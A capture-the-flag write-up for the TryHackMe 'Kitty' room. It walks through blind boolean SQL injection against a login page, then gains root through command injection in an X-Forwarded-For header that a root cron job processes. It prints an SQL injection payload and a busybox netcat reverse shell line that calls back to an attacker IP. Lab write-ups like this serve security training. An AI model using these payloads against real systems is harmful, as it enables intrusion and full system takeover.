Kitty
Map? Where we are going, we don't need maps. - by hadrian3689
The following post by 0xb0b is licensed under CC BY 4.0
Recon
We start with a Nmap scan and discover only two open ports. SSH is running on port 22 and an HTTP server on port 80 that serves PHP via Apache.
We already know that we are dealing with PHP, so we add the .php
extensions directly to our Gobuster scan. We find some pages that we could have found by visiting them manually.
Foothold
We visit the site and are greeted directly with a login page. We have the option of registering an account, but first let's use the destructive variant of an SQL injection to see if the login is vulnerable. You can find out why it is destructively in the following TryHackMe room:
After we have sent ' OR 1=1 -- -
, we are informed that SQL Injection has been detected and this incident is now logged. Interesting. Possibly, this seems to be about SQL injection or bypassing the check.
Ok, let's create a test user. At first, I registered my own username, 0xb0b, here, but this was strangely also recognized as an SQL injection on log-in. The filter does not seem to be working properly.
After we have logged in with the test user, we are greeted on the welcome page. Strangely, we can only log out.
Now we try a less destructive SQL injection variant. We use the user we just created, and try to log in with this without a password.
This works; the filter does not seem to recognize everything, and fortunately, special characters are not sanitized
It is noticeable that if our SQL injection is successful, we are logged in. We are therefore informed whether our attack was successful. With this information, we can carry out a Blind Boolean Based SQL Injection Attack to enumerate the database, underlying tables and entries.
For this, I refer you to the following TryHackMe room, which explains this attack under Task 7 Blind SQLi - Boolean Based:
We first look at how many columns the underlying user table has. There are 4, with the following query, we can log in.
We use here the -- -
as an inline SQL comment in MySQL because MySQL requires the second dash in a double-dash comment to be followed by at least one whitespace character, which may be trimmed in web environments. By adding a character after the whitespace character, the trimming of it is prevented and the following is interpreted as a comment. A detailed explanation can be found here:
By using database()
, we can enumerate the database name. To do this, we work our way through, letter for letter, with the like
operator and the wildcard %
. If we have a match, we are able to log in.
Since this attack is very laborious, we write ourselves a script. The script checks each printable character and compares the response sizes, which changes with a successful login. If a character is in the pool, it is appended and work continues with it.
After a short duration, we get the database name websites.
The following query searches for results in the information_schema database
in the tables table, where the database name starts with mywebsite. We can test this query in advance when logging in and see that we can log in successfully.
Next, we adapt the query for the script enum_db.py
, this can be replaced in the script at line 21.
After a short time, we see that the user table has the name siteusers
.
Theoretically, we could enumerate the columns names, but let's try it this way and assume that the columns are username and password. Let's prepare the query to enumerate the users in the database.
When enumerating, we notice that we find our user test first. Ok, it can happen; the script is not very cleverly designed. So let's adjust the query and ignore our user.
The following query can be used in the script to get the user.
It is the user kitt
y.
Next, we can try to get kittys
password.
We get the password. But we cannot log in via SSH. The password does not seem quite correct. Unfortunately, we get everything in lowercase letters because like
does not differentiate here. But there is a workaround:
If we want to match case-sensitively, we cast the value as binary. This is a byte-by-byte comparison vs. a character-by-character comparison. So, all we need to do is add the query is BINARY.
With that, we get the correct password...
... and are able to log in via SSH as user kitty. We find the first flag in the user's home directory.
The following script combines all steps.
Privilege Escalation
When enumerating, we use pspy64 and determine that a cronjob is running in the background. This executes the script /opt/log_checker.sh
as root
.
Unfortunately, we do not have write access to the script, but we can see that this shell script reads IP addresses from a file located at /var/www/development/logged
, then appends each IP address to the file /root/logged
, and finally clears the original file /var/www/development/logged
.
The interesting part is, that it is invoking a new shell to echo the IP into /root/logged
. So, if we are able to control IP, we should be able to execute commands via command injection.
Let's take a look at /var/www/development
. We see the same pages here as the server provided us with before.
We remember that detected SQL Injection is logged. So let's take a look at index.php
to see exactly how this happens.
Here we can see that the IP is determined through the X-Forwarded header
. Nice. This we can control. We also see that 0x/i
is recognized as an evil character, which is the reason why my username triggers the SQL injection detection.
Let's check where this development instance is running, because after making an 'evil' request with a set X-Forwarded-For
header to kitty.thm
nothing happened.
Via apache2ctl -s
we can display the current configuration settings of the Apache HTTP Server. We see an instance running on 127.0.0.1:8080
with a dev_site.conf
. This seems to be our candidate.
To confirm this, we check out the config and see indeed its DocumentRoot at /var/www/development
.
To access 127.0.0.1:8080
, we could use local port forwarding via ssh. Or we just query that endpoint using cURL on the machine itself.
Next, we set up a simple post request with our evil username 0xb0b
that only writes "hello"
in the logged file using the X-Forwarded-For
header. For this, we use cURL.
After we have made our request, we see that the file logged
actually has the content of the header.
We set up a listener on port 4445
and fire our request with a reverse shell payload. I like to use busybox because there are usually no special character needed, and it is very simple. We have previously found them on the system as user kitty
.
We use command substitution via $()
. Command substitution allows the output of a command to replace the command itself. This means that the command inside $()
is evaluated first. It is important that we escape the $
with \
, we want to write it to the file first; otherwise, it gets executed while doing the POST request and we get a connection back as the current user kitty
.
Another good explanation of command substitution can be found here:
After we have submitted our request, we check the file logged
and see the command as we need it. If log_checker.sh
is now executed, the command is inserted as follows: /usr/bin/sh -c "echo $(busybox nc 10.8.211.1 4445 -e /bin/bash) >> /root/logged";
Then, subsequently, we get a connection. We are root
and find the root flag in root's home directory.
Recommendation
Don't miss out on Aquinas' professional and well structued approach to solving this challenge using SQLMap:
Last updated